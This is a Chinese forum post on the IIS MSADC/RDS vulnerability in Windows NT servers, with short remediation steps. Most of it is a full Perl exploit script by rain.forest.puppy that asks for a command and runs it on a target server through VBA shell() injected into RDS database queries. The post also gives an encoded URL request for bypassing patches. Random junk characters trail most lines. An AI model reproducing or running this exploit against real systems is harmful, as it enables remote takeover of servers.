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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) _c*=4y  
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涉及程序: g Vv>9W('  
Microsoft NT server SmdjyK1~8  
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描述: dzsmIV+  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 m4&h>9. 8  
gL[yA?GoM  
详细: "2P&X  
如果你没有时间读详细内容的话,就删除: WEQ1 Seq  
c:\Program Files\Common Files\System\Msadc\msadcs.dll +HeTtFo{M  
有关的安全问题就没有了。 V4P; 5[  
Gh}LlX!w  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ,5kKimTt  
7;sj%U^'l  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 =K{"{5Wb  
关于利用ODBC远程漏洞的描述,请参看: 5eoska#y   
+ SFVv_n  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm I)cFG{~L  
Hh-+/sO~"  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 %?uc><&?e  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;WM"cJo9  
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这里不再论述。 cU@SIJ)  
X;B\Kj`n  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: [t7]{d*  
28H8l2{[>  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset (?`kYTw7g'  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! lBhLf@  
feNdMR7eM  
zj`v?#ET  
#将下面这段保存为txt文件,然后: "perl -x 文件名" pUq1|)g  
[*HN"  
#!perl 04'~ta(t  
# 'wI"Bo6e  
# MSADC/RDS 'usage' (aka exploit) script ll6wpV0m  
# B}:(za&  
# by rain.forest.puppy ]2'na?q9  
# HATA-M  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me jm0- y%  
# beta test and find errors! P%=#^T&`}  
'0uh D.|G  
use Socket; use Getopt::Std; ZF|+W?0&%  
getopts("e:vd:h:XR", \%args); >`wV1^M6?  
[}8|R0KF  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 2?,EzBeal  
"D'B3; uWK  
if (!defined $args{h} && !defined $args{R}) { ,(?po (']  
print qq~ #hf ak  
Usage: msadc.pl -h <host> { -d <delay> -X -v } J6%AH?Mt  
-h <host> = host you want to scan (ip or domain) {%{ `l-  
-d <seconds> = delay between calls, default 1 second @t`Xq1  
-X = dump Index Server path table, if available gk+h8 LZ  
-v = verbose 8J~1-;  
-e = external dictionary file for step 5 !Mim@!5M  
&f^l ^K 5:  
Or a -R will resume a command session Jn3 An  
*l;B\=KR  
~; exit;} y^Kph# F"  
0B&Y ]*  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 1~ t{aLPz  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} F;[T#N:~  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 7.@TK&  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); %]6~Eq%s  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} @@rEs40  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ,0~9dS   
:l&V]}:7*  
if (!defined $args{R}){ $ret = &has_msadc; ^#1.l=s  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ?(m jx  
vR=6pl$|~~  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" J9Ou+6u(  
. "cmd /c "; 9,_mS{+B  
$in=<STDIN>; chomp $in; ,FMx5$  
$command="cmd /c " . $in ; :ORR_f`>  
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if (defined $args{R}) {&load; exit;} 4jBC9b}O  
<~!Hx+j   
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; eKz?"g/j  
&try_btcustmr; iNWo"=J  
HJ[/|NZU$  
print "\nStep 2: Trying to make our own DSN..."; ~7t$MF.  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ,4,V4 N  
0}FOV`n  
print "\nStep 3: Trying known DSNs..."; /43-;"%>  
&known_dsn; "+ >SJ~  
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print "\nStep 4: Trying known .mdbs..."; f{i8w!O"~  
&known_mdb; UH>F|3"d  
a/U2xq{x  
if (defined $args{e}){ PN<C=gAe  
print "\nStep 5: Trying dictionary of DSN names..."; bb`':3%  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } P<2 +L|X?}  
|vMpXiMxxT  
print "Sorry Charley...maybe next time?\n"; saAxGG  
exit;  4)4+M  
wwowez tER  
############################################################################## ,i6RE  
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sub sendraw { # ripped and modded from whisker ?EpSC&S\  
sleep($delay); # it's a DoS on the server! At least on mine... E)-r+ <l  
my ($pstr)=@_; }KKY6D|d>  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || X3:XTuV   
die("Socket problems\n"); V0(o~w/W%!  
if(connect(S,pack "SnA4x8",2,80,$target)){ z%7SrUj2  
select(S); $|=1; rVa?JvDO=  
print $pstr; my @in=<S>; |?,[@z _,  
select(STDOUT); close(S); 7`H 1f]d  
return @in; 6^n0[7  
} else { die("Can't connect...\n"); }} k@D0 {z  
'K*AV7>E  
############################################################################## OxtOd\0$  
l|+BC  
sub make_header { # make the HTTP request GF:`>u{C  
my $msadc=<<EOT Z,;cCxE  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 ~!d/8?!   
User-Agent: ACTIVEDATA y}K\%;`[a  
Host: $ip ^*= 85iyo  
Content-Length: $clen 0T5=W U  
Connection: Keep-Alive =!UR=Hq  
deeU@x`f<  
ADCClientVersion:01.06 nL}5cPI  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 <0.$'M~E  
KZ e)K_1[  
--!ADM!ROX!YOUR!WORLD! tYqs~B3  
Content-Type: application/x-varg I.@hW>k  
Content-Length: $reqlen J3b4cxm  
.E~(h*NW  
EOT nGf);U#K  
; $msadc=~s/\n/\r\n/g; u@P[Vb   
return $msadc;} omf  Rs  
cZ+7.oDu  
############################################################################## yag}fQ(XH  
qxMnp}O  
sub make_req { # make the RDS request !epgTN  
my ($switch, $p1, $p2)=@_; c<BO gNr  
my $req=""; my $t1, $t2, $query, $dsn; CG&`16KN7  
'[(nmx'yVJ  
if ($switch==1){ # this is the btcustmr.mdb query M4LktR-[  
$query="Select * from Customers where City=" . make_shell(); Xvok1NM,  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . }Y1>(U  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} w_4]xgS:  
s;YKeE!8  
elsif ($switch==2){ # this is general make table query W"xP(7X  
$query="create table AZZ (B int, C varchar(10))"; NO K/<_/  
$dsn="$p1";} >71&]/Rv  
& &<9p;E  
elsif ($switch==3){ # this is general exploit table query ^Ori| 4}'  
$query="select * from AZZ where C=" . make_shell(); l  n }}5Q  
$dsn="$p1";} "%QD{z_L  
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elsif ($switch==4){ # attempt to hork file info from index server v)kEyX'K2d  
$query="select path from scope()"; aSYs_?&.  
$dsn="Provider=MSIDXS;";} zMK](o1Vj  
&MgeYpd  
elsif ($switch==5){ # bad query \hP=-J[~C  
$query="select"; jN+N(pIi.o  
$dsn="$p1";} Zx?b<"k  
QI[}(O7#6  
$t1= make_unicode($query); .2\0~x""  
$t2= make_unicode($dsn); cM&'[CI  
$req = "\x02\x00\x03\x00"; HT_TP q  
$req.= "\x08\x00" . pack ("S1", length($t1)); Y/8K;U|  
$req.= "\x00\x00" . $t1 ; [$(R#tZ+  
$req.= "\x08\x00" . pack ("S1", length($t2)); cQZ652F9  
$req.= "\x00\x00" . $t2 ; $\Tkhq<  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; VnJMmMM  
return $req;} "x&C5l}n  
z&3]%t `C  
############################################################################## 1(GHCxA8G  
^yKY'>T#d  
sub make_shell { # this makes the shell() statement AzpV4(:an.  
return "'|shell(\"$command\")|'";} $ 'QdFkOr  
]&i+!$N_  
############################################################################## 7TX,T|>9  
VLg EX4  
sub make_unicode { # quick little function to convert to unicode *Wb=WM-.  
my ($in)=@_; my $out; )yb+M ez  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } SHqyvF  
return $out;} =j /hl  
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############################################################################## &,-p',\-  
#G,XDW2"w  
sub rdo_success { # checks for RDO return success (this is kludge) xwzT#DXGJ  
my (@in) = @_; my $base=content_start(@in); Rh] P8  
if($in[$base]=~/multipart\/mixed/){ I(n* _bFq  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ;? uC=o>Z{  
return 0;} a%J6f$A#  
vU/ D7  
############################################################################## FX,$_:f6Y  
_8h8Wtif  
sub make_dsn { # this makes a DSN for us bn 4 &O  
my @drives=("c","d","e","f"); 8]0:1 {@  
print "\nMaking DSN: "; qGPb  
foreach $drive (@drives) { %bX0 mN  
print "$drive: "; "t&{yBQ0u  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . KLt %[$CTi  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="  i j&p4  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); tnW;E\cR  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; H=zN[MU  
return 0 if $2 eq "404"; # not found/doesn't exist _& 4its  
if($2 eq "200") { Inuc(_I  
foreach $line (@results) { ?Nl"sVCo  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} >e8JK*Blz  
} return 0;} 0B0G2t&hr  
LnMwx#^*  
############################################################################## ,\h YEup  
_Nu` )m  
sub verify_exists { hD 46@  
my ($page)=@_; ! VRI_c  
my @results=sendraw("GET $page HTTP/1.0\n\n"); z-0:m|=yH  
return $results[0];} `.k5v7!o  
o|2 87S|$  
############################################################################## 5&4F,v[zp  
yCM{M  
sub try_btcustmr { 4&}\BU*  
my @drives=("c","d","e","f"); dB|Te"6  
my @dirs=("winnt","winnt35","winnt351","win","windows"); u2`xC4>c  
NR/-m7#-  
foreach $dir (@dirs) { |Odu4 Q  
print "$dir -> "; # fun status so you can see progress .Y/-8H-3v  
foreach $drive (@drives) { l6B.6 '4)w  
print "$drive: "; # ditto T~Yg5J  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; Cals?u#U=  
$reqlenlen=length( "$reqlen" ); B {i&~k  
$clen= 206 + $reqlenlen + $reqlen; &9ki O  
rqvU8T7A  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); oa9)Dv  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} f Lk"tW  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 5|WOBOh>`&  
owMuT^x?  
############################################################################## PbUI!Xqe`  
p6blD-v  
sub odbc_error { !=M/j}  
my (@in)=@_; my $base; 6bL"LM`s  
my $base = content_start(@in); lgG8!Ja  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Kpu<rKP`  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j-P^Zv};u  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; FYeEG  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [u\CDsX  
return $in[$base+4].$in[$base+5].$in[$base+6];} px&=((Z7>  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; m0iV m|  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ]]V^:"ne  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} anZIB  
M]s[ "0O  
############################################################################## 0P:F97"1,  
'j /q76uXV  
sub verbose { <<BQYU)Ig  
my ($in)=@_; lIy/;hIc  
return if !$verbose; cJ4S!  
print STDOUT "\n$in\n";} )K.R\]XR  
CI1m5g [P  
############################################################################## L9'-  
cd"wNH-  
sub save { 2 TCRS#z  
my ($p1, $p2, $p3, $p4)=@_; 5fxbA2\  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; $WD +Q@6  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ?hSha)1:  
close OUT;} WA$ p_% r=  
& ^!v*=z  
############################################################################## y%g`FC   
;G$)MS'nB  
sub load { Y=WR6!{  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; gx&73f<J  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); #y`k$20"  
@p=<IN>; close(IN); e6es0D[>5  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); - coy@S=.'  
$target= inet_aton($ip) || die("inet_aton problems"); K#U{<pUP  
print "Resuming to $ip ..."; ?',}? {"c  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; p d%LL?O  
if($p[1]==1) { ht$ WF  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; D1~^\)*  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 3\9][S-B  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 0kz7 >v  
if (rdo_success(@results)){print "Success!\n";} f8F1~q  
else { print "failed\n"; verbose(odbc_error(@results));}} "x.88,T6  
elsif ($p[1]==3){ ?ZM^%]/+  
if(run_query("$p[3]")){ Kk56/(_S  
print "Success!\n";} else { print "failed\n"; }} cl#OvQ  
elsif ($p[1]==4){ `i{4cT8:  
if(run_query($drvst . "$p[3]")){ <W9) Bq4  
print "Success!\n"; } else { print "failed\n"; }} 6g5]=Q@U:  
exit;} *kV#)j  
!%)L&W_  
############################################################################## ]LY^9eK)>{  
YmA) @1@U  
sub create_table { zXDd,ltm  
my ($in)=@_; oYGUjI  
$reqlen=length( make_req(2,$in,"") ) - 28; J4&XPr9  
$reqlenlen=length( "$reqlen" ); 8Y]}Gb!  
$clen= 206 + $reqlenlen + $reqlen; BfEx'C  
my @results=sendraw(make_header() . make_req(2,$in,"")); k4* ! Q_A  
return 1 if rdo_success(@results); v,@E}F~-f1  
my $temp= odbc_error(@results); verbose($temp); zh hGqz[K  
return 1 if $temp=~/Table 'AZZ' already exists/; j?d!}v  
return 0;} ^$?7H>=_ha  
> fhSaeN  
############################################################################## s=}~Q&8  
r8H7TJI0   
sub known_dsn { rQuOt  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go pIrv$^  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ]b!R-G!gV  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 's/27=o  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); cEtZ}2,j  
(O<abB(  
foreach $dSn (@dsns) { 1pl2;!  
print "."; Ld'EABM  
next if (!is_access("DSN=$dSn")); F F(^:N  
if(create_table("DSN=$dSn")){ G0^V!0I&O  
print "$dSn successful\n"; AIf[W">\  
if(run_query("DSN=$dSn")){ cKSfqqPm$"  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { L_`Xbky  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 5!2J;.&  
|' !7F9GP  
############################################################################## [_h.1oZp~  
FK?mS>G6  
sub is_access { R0z?)uU#  
my ($in)=@_; L)j]~^P$-  
$reqlen=length( make_req(5,$in,"") ) - 28; 2M5*bNU_:  
$reqlenlen=length( "$reqlen" ); o7hH9iY  
$clen= 206 + $reqlenlen + $reqlen; >zN" z)  
my @results=sendraw(make_header() . make_req(5,$in,"")); u>j5`OXo  
my $temp= odbc_error(@results); DPR;$yV  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); z;``g"dSw  
return 0;} [Ja(ArO3|[  
,$ho2R),Fn  
############################################################################## U=_~{[/  
=t ~+63)  
sub run_query { O>kXysMv>  
my ($in)=@_; :tg@HyY)  
$reqlen=length( make_req(3,$in,"") ) - 28; Cw@k.{*7,  
$reqlenlen=length( "$reqlen" ); P<TpG0~(  
$clen= 206 + $reqlenlen + $reqlen; V%VrAi.  
my @results=sendraw(make_header() . make_req(3,$in,"")); 8-W"4)@b  
return 1 if rdo_success(@results); Uv#>d}P  
my $temp= odbc_error(@results); verbose($temp); B=r]_&u-u  
return 0;} 3m?@7F  
ID_|H?.  
############################################################################## oR!n bm  
&! 5CwEIF  
sub known_mdb {  rytGr9S  
my @drives=("c","d","e","f","g"); 7/[TE  
my @dirs=("winnt","winnt35","winnt351","win","windows"); MLEIx()  
my $dir, $drive, $mdb; JuKk"tr~RB  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; #3AYz82w  
w+URCj  
# this is sparse, because I don't know of many )UxQf37  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ski1f  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", MxFt;GgE8  
"\\system32\\certmdb.mdb", !- Cs?  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 8T!fGzHx  
$4#=#aKW.  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", <yPq;#z(!  
"\\cfusion\\cfapps\\forums\\forums_.mdb", - I1cAt  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 5e~ j  
"\\cfusion\\cfapps\\security\\realm_.mdb", Ac*B[ywA3  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", /gMa"5?,  
"\\cfusion\\database\\cfexamples.mdb", OtrXYiKB   
"\\cfusion\\database\\cfsnippets.mdb", @+QYWh'  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 9y d-&yDG  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",  <Hq6]\<  
"\\cfusion\\brighttiger\\database\\cleam.mdb", .I f"'hMY  
"\\cfusion\\database\\smpolicy.mdb", )Gu0i7iN  
"\\cfusion\\database\cypress.mdb", F}VS)  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", dM>j<JC=  
"\\website\\cgi-win\\dbsample.mdb", Cw9@2E'b  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "^e}C@  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" /\oyPD`((  
); #these are just ,E n(gm  
foreach $drive (@drives) { ZQgxrZx3  
foreach $dir (@dirs){ "W3n BaG  
foreach $mdb (@sysmdbs) { '=Ip5A{S/  
print "."; v '"1/% L  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ rH [+/&w5  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; E.WNykF-  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 9Y!0>&o  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 2Mv)0%,c  
} else { print "Something's borked. Use verbose next time\n"; }}}}} '? !7 Be  
+S:u[x  
foreach $drive (@drives) { ~{3o(gzl  
foreach $mdb (@mdbs) { Wfi:wCqZG  
print "."; UeK, q>i  
if(create_table($drv . $drive . $dir . $mdb)){ 5Tcl<Y6l  
print "\n" . $drive . $dir . $mdb . " successful\n"; [TpA26#TTO  
if(run_query($drv . $drive . $dir . $mdb)){ tDuUAI54  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; CBz(hCaI  
} else { print "Something's borked. Use verbose next time\n"; }}}} [E..VesrM  
} 945 |MQPn  
;N> {1  
############################################################################## *h5ldP  
^bY^x+d  
sub hork_idx { K"t:B  
print "\nAttempting to dump Index Server tables...\n"; eKU@>5  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ,/[dmoe  
$reqlen=length( make_req(4,"","") ) - 28; /o}0oo5B  
$reqlenlen=length( "$reqlen" ); ozxK?AMgG  
$clen= 206 + $reqlenlen + $reqlen; v"Ud mv"  
my @results=sendraw2(make_header() . make_req(4,"","")); D KMbs   
if (rdo_success(@results)){ ,~ia$vI}R  
my $max=@results; my $c; my %d; "\R@l Ux.Y  
for($c=19; $c<$max; $c++){ ]w&?k:y>  
$results[$c]=~s/\x00//g; o to wvm  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; z wniS6R1  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; k8t Na@H  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 0W<nE[U  
$d{"$1$2"}="";} hD9' `SQ  
foreach $c (keys %d){ print "$c\n"; } 4BUK5)B  
} else {print "Index server doesn't seem to be installed.\n"; }} iJynR [7  
,& pF:ql F  
############################################################################## Pvb+   
2)j#O  
sub dsn_dict { ^r?sgJ  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ]Pg?(lr6)  
while(<IN>){ ,~=z_G`R  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 19YJ`(L`x  
next if (!is_access("DSN=$dSn")); D/%b@Ls2ze  
if(create_table("DSN=$dSn")){ IZ(CRKCGBl  
print "$dSn successful\n"; 07G*M ]  
if(run_query("DSN=$dSn")){ >sl1 cC  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { =+sIX3  
print "Something's borked. Use verbose next time\n";}}} 5k7(!  
print "\n"; close(IN);} Zia|`}peW  
U}C#:Xi>$  
############################################################################## zdpLAr  
0o^#Fmuz  
sub sendraw2 { # ripped and modded from whisker WriJco<v  
sleep($delay); # it's a DoS on the server! At least on mine... N6m*xxI{  
my ($pstr)=@_; ( _F  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || |Bf:pG!  
die("Socket problems\n"); Q1>Op$>h  
if(connect(S,pack "SnA4x8",2,80,$target)){ ] l qFht  
print "Connected. Getting data"; <=GzK:4L  
open(OUT,">raw.out"); my @in; /{#_Um0.  
select(S); $|=1; print $pstr; JEkIbf?=r  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} (qc!-Isd~[  
close(OUT); select(STDOUT); close(S); return @in; eABdy e  
} else { die("Can't connect...\n"); }}  6O|\4c;  
S|5lx7  
############################################################################## HDae_.  
.WPR}v,.Z  
sub content_start { # this will take in the server headers ]&tr\-3  
my (@in)=@_; my $c; xYkgNXGs5  
for ($c=1;$c<500;$c++) { @x>$_:]  
if($in[$c] =~/^\x0d\x0a/){ S5[RSAbf*t  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } k;Ny%%5  
else { return $c+1; }}} 0f}Q~d=QL  
return -1;} # it should never get here actually 3S2p:\]  
VA&OI;=ri  
############################################################################## fylA 0{  
c%,6L<[  
sub funky { 3x;y}:wQa  
my (@in)=@_; my $error=odbc_error(@in); C9; X6  
if($error=~/ADO could not find the specified provider/){ $\J9F=<a  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; jX8C2}j  
exit;} ,knI26Jh  
if($error=~/A Handler is required/){ r(xlokpnb6  
print "\nServer has custom handler filters (they most likely are patched)\n"; (R|FQdH  
exit;} CFrHNU  
if($error=~/specified Handler has denied Access/){ 3,cE/Ei  
print "\nServer has custom handler filters (they most likely are patched)\n"; u B%^2{uU  
exit;}} c+K=pp@  
"jN-Yd,z  
############################################################################## $(mdz)Cfy  
=&g}Y  
sub has_msadc { +AC-f2  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 'jlXLb  
my $base=content_start(@results); a>jI_)L  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Ch&]<#E>`  
return 0;} nm|m1Z+U  
3Os3=Ix  
######################## O.8m%ZjD  
YH+\rb_  
gm\o>YclS  
解决方案: x]01j4HJ  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 48NXj\L[y  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 t }C ^E  
yNf=Kl  
拿出来充数 哈哈
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